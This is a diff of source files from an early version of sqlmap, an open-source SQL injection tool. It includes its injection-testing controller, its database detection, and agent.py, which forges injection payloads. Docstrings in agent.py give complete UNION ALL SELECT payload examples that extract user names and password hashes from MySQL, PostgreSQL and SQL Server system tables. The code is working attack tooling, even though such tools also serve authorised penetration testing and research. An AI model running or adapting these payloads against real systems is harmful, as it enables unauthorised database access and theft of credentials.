if not checkDynParam(place, parameter, value):
|
||||
warnMsg = "%s parameter '%s' is not dynamic" % (place, parameter)
|
||||
logger.warn(warnMsg)
|
||||
else:
|
||||
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
|
||||
logger.info(logMsg)
|
||||
|
||||
for parenthesis in range(0, 4):
|
||||
logMsg = "testing sql injection on %s " % place
|
||||
logMsg += "parameter '%s' with " % parameter
|
||||
logMsg += "%d parenthesis" % parenthesis
|
||||
logger.info(logMsg)
|
||||
|
||||
injType = checkSqlInjection(place, parameter, value, parenthesis)
|
||||
|
||||
if injType:
|
||||
injData.append((place, parameter, injType))
|
||||
|
||||
break
|
||||
else:
|
||||
warnMsg = "%s parameter '%s' is not " % (place, parameter)
|
||||
warnMsg += "injectable with %d parenthesis" % parenthesis
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not kb.injPlace or not kb.injParameter or not kb.injType:
|
||||
if len(injData) == 1:
|
||||
injDataSelected = injData[0]
|
||||
elif len(injData) > 1:
|
||||
injDataSelected = __selectInjection(injData)
|
||||
else:
|
||||
return
|
||||
|
||||
if injDataSelected == "Quit":
|
||||
return
|
||||
else:
|
||||
kb.injPlace, kb.injParameter, kb.injType = injDataSelected
|
||||
setInjection()
|
||||
|
||||
if not conf.googleDork and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
|
||||
raise sqlmapNotVulnerableException, "all parameters are not injectable"
|
||||
elif kb.injPlace and kb.injParameter and kb.injType:
|
||||
condition = False
|
||||
|
||||
if conf.googleDork:
|
||||
message = "do you want to exploit this SQL injection? [Y/n] "
|
||||
exploit = readInput(message, default="Y")
|
||||
|
||||
if not exploit or exploit[0] in ("y", "Y"):
|
||||
condition = True
|
||||
else:
|
||||
condition = True
|
||||
|
||||
if condition:
|
||||
checkForParenthesis()
|
||||
createTargetDirs()
|
||||
action()
|
||||
|
||||
if conf.loggedToOut:
|
||||
logger.info("Fetched data logged to text files under '%s'" % conf.outputPath)
|
||||
71
lib/controller/handler.py
Normal file
71
lib/controller/handler.py
Normal file
@@ -0,0 +1,71 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: handler.py 283 2008-07-25 15:16:11Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.settings import MSSQL_ALIASES
|
||||
from lib.core.settings import MYSQL_ALIASES
|
||||
from lib.core.settings import ORACLE_ALIASES
|
||||
from lib.core.settings import PGSQL_ALIASES
|
||||
|
||||
from plugins.dbms.mssqlserver import MSSQLServerMap
|
||||
from plugins.dbms.mysql import MySQLMap
|
||||
from plugins.dbms.oracle import OracleMap
|
||||
from plugins.dbms.postgresql import PostgreSQLMap
|
||||
|
||||
|
||||
def setHandler():
|
||||
"""
|
||||
Detect which is the target web application back-end database
|
||||
management system.
|
||||
"""
|
||||
|
||||
count = 0
|
||||
dbmsNames = ( "MySQL", "Oracle", "PostgreSQL", "Microsoft SQL Server" )
|
||||
dbmsMap = (
|
||||
( MYSQL_ALIASES, MySQLMap ),
|
||||
( ORACLE_ALIASES, OracleMap ),
|
||||
( PGSQL_ALIASES, PostgreSQLMap ),
|
||||
( MSSQL_ALIASES, MSSQLServerMap ),
|
||||
)
|
||||
|
||||
for dbmsAliases, dbmsEntry in dbmsMap:
|
||||
if conf.dbms and conf.dbms not in dbmsAliases:
|
||||
debugMsg = "skipping to test for %s" % dbmsNames[count]
|
||||
logger.debug(debugMsg)
|
||||
count += 1
|
||||
continue
|
||||
|
||||
dbmsHandler = dbmsEntry()
|
||||
|
||||
if dbmsHandler.checkDbms():
|
||||
if not conf.dbms or conf.dbms in dbmsAliases:
|
||||
kb.dbmsDetected = True
|
||||
|
||||
return dbmsHandler
|
||||
|
||||
return None
|
||||
25
lib/core/__init__.py
Normal file
25
lib/core/__init__.py
Normal file
@@ -0,0 +1,25 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: __init__.py 214 2008-07-14 14:17:06Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
pass
|
||||
385
lib/core/agent.py
Normal file
385
lib/core/agent.py
Normal file
@@ -0,0 +1,385 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: agent.py 357 2008-09-21 18:52:16Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import re
|
||||
|
||||
from lib.core.common import randomInt
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import queries
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapNoneDataException
|
||||
from lib.core.exception import sqlmapUnsupportedDBMSException
|
||||
|
||||
|
||||
class Agent:
|
||||
"""
|
||||
This class defines the SQL agent methods.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
temp.delimiter = randomStr(6)
|
||||
temp.start = randomStr(6)
|
||||
temp.stop = randomStr(6)
|
||||
|
||||
|
||||
def payload(self, place=None, parameter=None, value=None, newValue=None):
|
||||
"""
|
||||
This method replaces the affected parameter with the SQL
|
||||
injection statement to request
|
||||
"""
|
||||
|
||||
retValue = ""
|
||||
|
||||
# After identifing the injectable parameter
|
||||
if kb.injPlace == "User-Agent":
|
||||
retValue = kb.injParameter.replace(kb.injParameter,
|
||||
kb.injParameter + newValue)
|
||||
elif kb.injParameter:
|
||||
paramString = conf.parameters[kb.injPlace]
|
||||
paramDict = conf.paramDict[kb.injPlace]
|
||||
value = paramDict[kb.injParameter]
|
||||
retValue = paramString.replace("%s=%s" % (kb.injParameter, value),
|
||||
"%s=%s" % (kb.injParameter, value + newValue))
|
||||
|
||||
# Before identifing the injectable parameter
|
||||
elif parameter == "User-Agent":
|
||||
retValue = value.replace(value, newValue)
|
||||
else:
|
||||
paramString = conf.parameters[place]
|
||||
retValue = paramString.replace("%s=%s" % (parameter, value),
|
||||
"%s=%s" % (parameter, newValue))
|
||||
|
||||
return retValue
|
||||
|
||||
|
||||
def prefixQuery(self, string):
|
||||
"""
|
||||
This method defines how the input string has to be escaped
|
||||
to perform the injection depending on the injection type
|
||||
identified as valid
|
||||
"""
|
||||
|
||||
query = ""
|
||||
|
||||
if kb.injType == "numeric":
|
||||
pass
|
||||
elif kb.injType in ( "stringsingle", "likesingle" ):
|
||||
query = "'"
|
||||
elif kb.injType in ( "stringdouble", "likedouble" ):
|
||||
query = "\""
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unsupported injection type"
|
||||
|
||||
if kb.parenthesis != None:
|
||||
query += "%s " % (")" * kb.parenthesis)
|
||||
|
||||
query += string
|
||||
|
||||
return query
|
||||
|
||||
|
||||
def postfixQuery(self, string, comment=None):
|
||||
"""
|
||||
This method appends the DBMS comment to the
|
||||
SQL injection request
|
||||
"""
|
||||
|
||||
randInt = randomInt()
|
||||
randStr = randomStr()
|
||||
|
||||
if comment:
|
||||
string += "%s" % comment
|
||||
|
||||
if kb.parenthesis != None:
|
||||
string += " AND %s" % ("(" * kb.parenthesis)
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
|
||||
|
||||
if kb.injType == "numeric":
|
||||
string += "%d=%d" % (randInt, randInt)
|
||||
elif kb.injType == "stringsingle":
|
||||
string += "'%s'='%s" % (randStr, randStr)
|
||||
elif kb.injType == "likesingle":
|
||||
string += "'%s' LIKE '%s" % (randStr, randStr)
|
||||
elif kb.injType == "stringdouble":
|
||||
string += "\"%s\"=\"%s" % (randStr, randStr)
|
||||
elif kb.injType == "likedouble":
|
||||
string += "\"%s\" LIKE \"%s" % (randStr, randStr)
|
||||
else:
|
||||
raise sqlmapNoneDataException, "unsupported injection type"
|
||||
|
||||
return string
|
||||
|
||||
|
||||
def nullAndCastField(self, field):
|
||||
"""
|
||||
Take in input a field string and return its processed nulled and
|
||||
casted field string.
|
||||
|
||||
Examples:
|
||||
|
||||
MySQL input: VERSION()
|
||||
MySQL output: IFNULL(CAST(VERSION() AS CHAR(10000)), ' ')
|
||||
MySQL scope: VERSION()
|
||||
|
||||
PostgreSQL input: VERSION()
|
||||
PostgreSQL output: COALESCE(CAST(VERSION() AS CHARACTER(10000)), ' ')
|
||||
PostgreSQL scope: VERSION()
|
||||
|
||||
Oracle input: banner
|
||||
Oracle output: NVL(CAST(banner AS VARCHAR(4000)), ' ')
|
||||
Oracle scope: SELECT banner FROM v$version WHERE ROWNUM=1
|
||||
|
||||
Microsoft SQL Server input: @@VERSION
|
||||
Microsoft SQL Server output: ISNULL(CAST(@@VERSION AS VARCHAR(8000)), ' ')
|
||||
Microsoft SQL Server scope: @@VERSION
|
||||
|
||||
@param field: field string to be processed
|
||||
@type field: C{str}
|
||||
|
||||
@return: field string nulled and casted
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
nulledCastedField = queries[kb.dbms].cast % field
|
||||
nulledCastedField = queries[kb.dbms].isnull % nulledCastedField
|
||||
|
||||
return nulledCastedField
|
||||
|
||||
|
||||
def nullCastConcatFields(self, fields):
|
||||
"""
|
||||
Take in input a sequence of fields string and return its processed
|
||||
nulled, casted and concatenated fields string.
|
||||
|
||||
Examples:
|
||||
|
||||
MySQL input: user,password
|
||||
MySQL output: IFNULL(CAST(user AS CHAR(10000)), ' '),'UWciUe',IFNULL(CAST(password AS CHAR(10000)), ' ')
|
||||
MySQL scope: SELECT user, password FROM mysql.user
|
||||
|
||||
PostgreSQL input: usename,passwd
|
||||
PostgreSQL output: COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'xRBcZW'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')
|
||||
PostgreSQL scope: SELECT usename, passwd FROM pg_shadow
|
||||
|
||||
Oracle input: COLUMN_NAME,DATA_TYPE
|
||||
Oracle output: NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'UUlHUa'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')
|
||||
Oracle scope: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'
|
||||
|
||||
Microsoft SQL Server input: name,master.dbo.fn_varbintohexstr(password)
|
||||
Microsoft SQL Server output: ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'nTBdow'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')
|
||||
Microsoft SQL Server scope: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
|
||||
|
||||
@param fields: fields string to be processed
|
||||
@type fields: C{str}
|
||||
|
||||
@return: fields string nulled, casted and concatened
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if not kb.dbmsDetected:
|
||||
return fields
|
||||
|
||||
fields = fields.replace(", ", ",")
|
||||
fieldsSplitted = fields.split(",")
|
||||
dbmsDelimiter = queries[kb.dbms].delimiter
|
||||
nulledCastedFields = []
|
||||
|
||||
for field in fieldsSplitted:
|
||||
nulledCastedFields.append(self.nullAndCastField(field))
|
||||
|
||||
delimiterStr = "%s'%s'%s" % (dbmsDelimiter, temp.delimiter, dbmsDelimiter)
|
||||
nulledCastedConcatFields = delimiterStr.join([field for field in nulledCastedFields])
|
||||
|
||||
return nulledCastedConcatFields
|
||||
|
||||
|
||||
def getFields(self, query):
|
||||
fieldsSelectTop = re.search("\ASELECT\s+TOP\s+[\d]+\s+(.+?)\s+FROM", query, re.I)
|
||||
fieldsSelectDistinct = re.search("\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", query, re.I)
|
||||
fieldsSelectFrom = re.search("\ASELECT\s+(.+?)\s+FROM\s+", query, re.I)
|
||||
fieldsSelect = re.search("\ASELECT\s+(.*)", query, re.I)
|
||||
fieldsNoSelect = query
|
||||
|
||||
if fieldsSelectTop:
|
||||
fieldsToCast = fieldsSelectTop.groups()[0]
|
||||
elif fieldsSelectDistinct:
|
||||
fieldsToCast = fieldsSelectDistinct.groups()[0]
|
||||
elif fieldsSelectFrom:
|
||||
fieldsToCast = fieldsSelectFrom.groups()[0]
|
||||
elif fieldsSelect:
|
||||
fieldsToCast = fieldsSelect.groups()[0]
|
||||
elif fieldsNoSelect:
|
||||
fieldsToCast = fieldsNoSelect
|
||||
|
||||
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast
|
||||
|
||||
|
||||
def concatQuery(self, query):
|
||||
"""
|
||||
Take in input a query string and return its processed nulled,
|
||||
casted and concatenated query string.
|
||||
|
||||
Examples:
|
||||
|
||||
MySQL input: SELECT user, password FROM mysql.user
|
||||
MySQL output: CONCAT('mMvPxc',IFNULL(CAST(user AS CHAR(10000)), ' '),'nXlgnR',IFNULL(CAST(password AS CHAR(10000)), ' '),'YnCzLl') FROM mysql.user
|
||||
|
||||
PostgreSQL input: SELECT usename, passwd FROM pg_shadow
|
||||
PostgreSQL output: 'HsYIBS'||COALESCE(CAST(usename AS CHARACTER(10000)), ' ')||'KTBfZp'||COALESCE(CAST(passwd AS CHARACTER(10000)), ' ')||'LkhmuP' FROM pg_shadow
|
||||
|
||||
Oracle input: SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
|
||||
Oracle output: 'GdBRAo'||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), ' ')||'czEHOf'||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), ' ')||'JVlYgS' FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='USERS'
|
||||
|
||||
Microsoft SQL Server input: SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins
|
||||
Microsoft SQL Server output: 'QQMQJO'+ISNULL(CAST(name AS VARCHAR(8000)), ' ')+'kAtlqH'+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), ' ')+'lpEqoi' FROM master..sysxlogins
|
||||
|
||||
@param query: query string to be processed
|
||||
@type query: C{str}
|
||||
|
||||
@return: query string nulled, casted and concatenated
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
concatQuery = ""
|
||||
query = query.replace(", ", ",")
|
||||
|
||||
fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsToCast = self.getFields(query)
|
||||
castedFields = self.nullCastConcatFields(fieldsToCast)
|
||||
concatQuery = query.replace(fieldsToCast, castedFields, 1)
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", ",'%s') FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "CONCAT('%s'," % temp.start, 1)
|
||||
concatQuery += ",'%s')" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "CONCAT('%s',%s,'%s')" % (temp.start, concatQuery, temp.stop)
|
||||
|
||||
elif kb.dbms in ( "Oracle", "PostgreSQL" ):
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "||'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'||" % temp.start, 1)
|
||||
concatQuery += "||'%s'" % temp.stop
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
concatQuery += " FROM DUAL"
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "'%s'||%s||'%s'" % (temp.start, concatQuery, temp.stop)
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
concatQuery += " FROM DUAL"
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
if fieldsSelectFrom:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatQuery = concatQuery.replace(" FROM ", "+'%s' FROM " % temp.stop, 1)
|
||||
elif fieldsSelect:
|
||||
concatQuery = concatQuery.replace("SELECT ", "'%s'+" % temp.start, 1)
|
||||
concatQuery += "+'%s'" % temp.stop
|
||||
elif fieldsNoSelect:
|
||||
concatQuery = "'%s'+%s+'%s'" % (temp.start, concatQuery, temp.stop)
|
||||
|
||||
return concatQuery
|
||||
|
||||
|
||||
def forgeInbandQuery(self, query, exprPosition=None):
|
||||
"""
|
||||
Take in input an query (pseudo query) string and return its
|
||||
processed UNION ALL SELECT query.
|
||||
|
||||
Examples:
|
||||
|
||||
MySQL input: CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)) FROM mysql.user
|
||||
MySQL output: UNION ALL SELECT NULL, CONCAT(CHAR(120,121,75,102,103,89),IFNULL(CAST(user AS CHAR(10000)), CHAR(32)),CHAR(106,98,66,73,109,81),IFNULL(CAST(password AS CHAR(10000)), CHAR(32)),CHAR(105,73,99,89,69,74)), NULL FROM mysql.user-- AND 7488=7488
|
||||
|
||||
PostgreSQL input: (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)) FROM pg_shadow
|
||||
PostgreSQL output: UNION ALL SELECT NULL, (CHR(116)||CHR(111)||CHR(81)||CHR(80)||CHR(103)||CHR(70))||COALESCE(CAST(usename AS CHARACTER(10000)), (CHR(32)))||(CHR(106)||CHR(78)||CHR(121)||CHR(111)||CHR(84)||CHR(85))||COALESCE(CAST(passwd AS CHARACTER(10000)), (CHR(32)))||(CHR(108)||CHR(85)||CHR(122)||CHR(85)||CHR(108)||CHR(118)), NULL FROM pg_shadow-- AND 7133=713
|
||||
|
||||
Oracle input: (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))
|
||||
Oracle output: UNION ALL SELECT NULL, (CHR(109)||CHR(89)||CHR(75)||CHR(109)||CHR(85)||CHR(68))||NVL(CAST(COLUMN_NAME AS VARCHAR(4000)), (CHR(32)))||(CHR(108)||CHR(110)||CHR(89)||CHR(69)||CHR(122)||CHR(90))||NVL(CAST(DATA_TYPE AS VARCHAR(4000)), (CHR(32)))||(CHR(89)||CHR(80)||CHR(98)||CHR(77)||CHR(80)||CHR(121)), NULL FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME=(CHR(85)||CHR(83)||CHR(69)||CHR(82)||CHR(83))-- AND 6738=6738
|
||||
|
||||
Microsoft SQL Server input: (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)) FROM master..sysxlogins
|
||||
Microsoft SQL Server output: UNION ALL SELECT NULL, (CHAR(74)+CHAR(86)+CHAR(106)+CHAR(116)+CHAR(116)+CHAR(108))+ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32)))+(CHAR(89)+CHAR(87)+CHAR(116)+CHAR(100)+CHAR(106)+CHAR(74))+ISNULL(CAST(master.dbo.fn_varbintohexstr(password) AS VARCHAR(8000)), (CHAR(32)))+(CHAR(71)+CHAR(74)+CHAR(68)+CHAR(66)+CHAR(85)+CHAR(106)), NULL FROM master..sysxlogins-- AND 3254=3254
|
||||
|
||||
@param query: it is a processed query string unescaped to be
|
||||
forged within an UNION ALL SELECT statement
|
||||
@type query: C{str}
|
||||
|
||||
@param exprPosition: it is the NULL position where it is possible
|
||||
to inject the query
|
||||
@type exprPosition: C{int}
|
||||
|
||||
@return: UNION ALL SELECT query string forged
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
inbandQuery = self.prefixQuery("UNION ALL SELECT ")
|
||||
|
||||
if not exprPosition:
|
||||
exprPosition = kb.unionPosition
|
||||
|
||||
if kb.dbms == "Oracle" and inbandQuery.endswith(" FROM DUAL"):
|
||||
inbandQuery = inbandQuery[:-len(" FROM DUAL")]
|
||||
|
||||
for element in range(kb.unionCount):
|
||||
if element > 0:
|
||||
inbandQuery += ", "
|
||||
|
||||
if element == exprPosition:
|
||||
if " FROM " in query:
|
||||
conditionIndex = query.rindex(" FROM ")
|
||||
inbandQuery += "%s" % query[:conditionIndex]
|
||||
else:
|
||||
inbandQuery += "%s" % query
|
||||
else:
|
||||
inbandQuery += "NULL"
|
||||
|
||||
if " FROM " in query:
|
||||
conditionIndex = query.rindex(" FROM ")
|
||||
inbandQuery += "%s" % query[conditionIndex:]
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
if " FROM " not in inbandQuery:
|
||||
inbandQuery += " FROM DUAL"
|
||||
|
||||
if " ORDER BY " in inbandQuery:
|
||||
orderIndex = inbandQuery.index(" ORDER BY ")
|
||||
inbandQuery = inbandQuery[:orderIndex]
|
||||
|
||||
inbandQuery = self.postfixQuery(inbandQuery, kb.unionComment)
|
||||
|
||||
return inbandQuery
|
||||
|
||||
|
||||
# SQL agent
|
||||
agent = Agent()
|
||||
549
lib/core/common.py
Normal file
549
lib/core/common.py
Normal file
@@ -0,0 +1,549 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id: common.py 368 2008-09-30 00:09:59Z inquisb $
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
and Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
import random
|
||||
import re
|
||||
import string
|
||||
import sys
|
||||
import time
|
||||
import urlparse
|
||||
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import temp
|
||||
from lib.core.exception import sqlmapFilePathException
|
||||
from lib.core.data import paths
|
||||
from lib.core.settings import VERSION_STRING
|
||||
|
||||
|
||||
def paramToDict(place, parameters=None):
|
||||
"""
|
||||
Split the parameters into names and values, check if these parameters
|
||||
are within the testable parameters and return in a dictionary.
|
||||
|
||||
@param place: where sqlmap has to work, can be GET, POST or Cookie.
|
||||
@type place: C{str}
|
||||
|
||||
@param parameters: parameters string in the format for instance
|
||||
'p1=v1&p2=v2' (GET and POST) or 'p1=v1;p2=v2' (Cookie).
|
||||
@type parameters: C{str}
|
||||
|
||||
@return: the parameters in a dictionary.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
testableParameters = {}
|
||||
|
||||
if conf.parameters.has_key(place) and not parameters:
|
||||
parameters = conf.parameters[place]
|
||||
|
||||
parameters = parameters.replace(", ", ",")
|
||||
|
||||
if place == "Cookie":
|
||||
splitParams = parameters.split(";")
|
||||
else:
|
||||
splitParams = parameters.split("&")
|
||||
|
||||
for element in splitParams:
|
||||
elem = element.split("=")
|
||||
|
||||
if len(elem) == 2:
|
||||
parameter = elem[0]
|
||||
|
||||
condition = not conf.testParameter
|
||||
condition |= parameter in conf.testParameter
|
||||
|
||||
if condition:
|
||||
value = elem[1]
|
||||
if value:
|
||||
testableParameters[parameter] = value
|
||||
|
||||
if conf.testParameter and not testableParameters:
|
||||
paramStr = ", ".join(test for test in conf.testParameter)
|
||||
|
||||
if len(conf.testParameter) > 1:
|
||||
warnMsg = "the testable parameters '%s' " % paramStr
|
||||
warnMsg += "you provided are not into the %s" % place
|
||||
else:
|
||||
parameter = conf.testParameter[0]
|
||||
|
||||
warnMsg = "the testable parameter '%s' " % paramStr
|
||||
warnMsg += "you provided is not into the %s" % place
|
||||
|
||||
if conf.googleDork:
|
||||
warnMsg += ", skipping to next url"
|
||||
|
||||
logger.warn(warnMsg)
|
||||
|
||||
elif len(conf.testParameter) != len(testableParameters.keys()):
|
||||
for parameter in conf.testParameter:
|
||||
if not testableParameters.has_key(parameter):
|
||||
warnMsg = "the testable parameter '%s' " % parameter
|
||||
warnMsg += "you provided is not into the %s" % place
|
||||
logger.warn(warnMsg)
|
||||
|
||||
return testableParameters
|
||||
|
||||
|
||||
def formatFingerprint(versions=None):
|
||||
"""
|
||||
This function format the back-end DBMS fingerprint value and return its
|
||||
values formatted as a human readable string.
|
||||
|
||||
@return: detected back-end DBMS based upon fingerprint techniques.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
if not versions:
|
||||
versions = kb.dbmsVersion
|
||||
|
||||
if isinstance(versions, str):
|
||||
return "%s %s" % (kb.dbms, versions)
|
||||
elif isinstance(versions, (list, set, tuple)):
|
||||
return "%s %s" % (kb.dbms, " and ".join([version for version in versions]))
|
||||
|
||||
|
||||
def getHtmlErrorFp():
|
||||
"""
|
||||
This function parses the knowledge base htmlFp list and return its
|
||||
values formatted as a human readable string.
|
||||
|
||||
@return: list of possible back-end DBMS based upon error messages
|
||||
parsing.
|
||||
@rtype: C{str}
|
||||
"""
|
||||
|
||||
htmlParsed = ""
|
||||
|
||||
if not kb.htmlFp:
|
||||
return None
|
||||
|
||||
if len(kb.htmlFp) == 1:
|
||||
htmlVer = kb.htmlFp[0]
|
||||
htmlParsed = htmlVer
|
||||
elif len(kb.htmlFp) > 1:
|
||||
htmlParsed = "or ".join([htmlFp for htmlFp in kb.htmlFp])
|
||||
|
||||
return htmlParsed
|
||||
|
||||
|
||||
def getDocRoot():
|
||||
"""
|
||||
This method returns the web application document root based on the
|
||||
detected absolute files paths in the knowledge base.
|
||||
"""
|
||||
|
||||
docRoot = None
|
||||
|
||||
if kb.absFilePaths:
|
||||
logMsg = "retrieved the possible injectable "
|
||||
